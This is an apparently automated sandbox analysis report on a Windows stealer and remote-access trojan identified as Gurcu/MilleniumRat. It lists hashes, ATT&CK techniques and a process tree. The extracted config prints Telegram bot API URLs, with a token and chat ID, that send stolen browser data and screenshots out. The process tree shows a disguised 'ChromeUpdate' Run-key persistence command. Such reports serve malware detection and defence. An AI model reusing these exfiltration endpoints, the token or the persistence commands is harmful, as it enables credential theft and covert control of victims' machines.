gurcu | e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 23:01

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General

Target
main.exe
Size 5.6MB
Sample240720-2zslps1dnq
SHA256 e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf
MD5 3d3c49dd5d13a242b436e0a065cd6837
SHA1 e38a773ffa08452c449ca5a880d89cfad24b6f1b
SHA512 dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00
SSDEEP 98304:nsl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcR6s:nPOuK6mn9NzgMoYkSIvUcwti7TQlvciY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

gurcu milleniumrat persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	main.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
4200	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
756	main.exe
4200	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
15	raw.githubusercontent.com
30	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1084	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1028	tasklist.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1324	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
756	main.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe
4200	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	756	main.exe
Token: SeDebugPrivilege	1028	tasklist.exe
Token: SeDebugPrivilege	4200	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4200	Update.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 756 wrote to memory of 3932	756	main.exe	91
PID 756 wrote to memory of 3932	756	main.exe	91
PID 3932 wrote to memory of 1028	3932	cmd.exe	93
PID 3932 wrote to memory of 1028	3932	cmd.exe	93
PID 3932 wrote to memory of 2856	3932	cmd.exe	94
PID 3932 wrote to memory of 2856	3932	cmd.exe	94
PID 3932 wrote to memory of 1084	3932	cmd.exe	95
PID 3932 wrote to memory of 1084	3932	cmd.exe	95
PID 3932 wrote to memory of 4200	3932	cmd.exe	96
PID 3932 wrote to memory of 4200	3932	cmd.exe	96
PID 4200 wrote to memory of 2168	4200	Update.exe	99
PID 4200 wrote to memory of 2168	4200	Update.exe	99
PID 2168 wrote to memory of 1324	2168	cmd.exe	101
PID 2168 wrote to memory of 1324	2168	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB016.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB016.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 756"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2856
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1084
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4200
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

sqlite.interop.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll
Size 1.7MB
SHA256 aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
MD5 65ccd6ecb99899083d43f7c24eb8f869
SHA1 27037a9470cc5ed177c0b6688495f3a51996a023
SHA512 533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
SSDEEP 49152:c9EeNSPwEW3cFSI4Tfm3hvbHsjAJcAMkP3:c9Nzm31PMo3
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmpB016.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpB016.tmp.bat
Size 255B
SHA256 8c8eec43144b64f40d23d0d7a5b5428d8e55f3677bcfaf9edc2ad1de8d7ea0d9
MD5 eefc891777cefb27b5f4bd1627001bc0
SHA1 bdb5d4cc5b7d4c03238fadfb2100359caf2e0155
SHA512 2120dfc9488c9bec949de65f0eaaed3c24bc08ab96de2e8d2c0799dbae0017917995db8849e3abd581503b9078b140fb2244e41466799d1e23733fab5699908b
MD5 SHA1 SHA512

Submit Download

Update.exe

Path C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
Size 5.6MB
SHA256 e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf
MD5 3d3c49dd5d13a242b436e0a065cd6837
SHA1 e38a773ffa08452c449ca5a880d89cfad24b6f1b
SHA512 dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00
SSDEEP 98304:nsl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcR6s:nPOuK6mn9NzgMoYkSIvUcwti7TQlvciY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/756-12-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

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memory/756-7-0x00007FFFEFFC0000-0x00007FFFF0A81000-memory.dmp

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memory/756-8-0x000001A4CE1A0000-0x000001A4CE1BE000-memory.dmp

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memory/756-0-0x00007FFFEFFC3000-0x00007FFFEFFC5000-memory.dmp

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memory/756-6-0x000001A4E69F0000-0x000001A4E6A66000-memory.dmp

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memory/756-1-0x000001A4CC020000-0x000001A4CC5C0000-memory.dmp

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memory/4200-19-0x00000196E2400000-0x00000196E240A000-memory.dmp

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memory/4200-20-0x00000196E2480000-0x00000196E24EA000-memory.dmp

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memory/4200-23-0x00000196E3370000-0x00000196E33AA000-memory.dmp

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memory/4200-24-0x00000196E20E0000-0x00000196E2106000-memory.dmp

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memory/4200-42-0x00000196E3350000-0x00000196E3362000-memory.dmp

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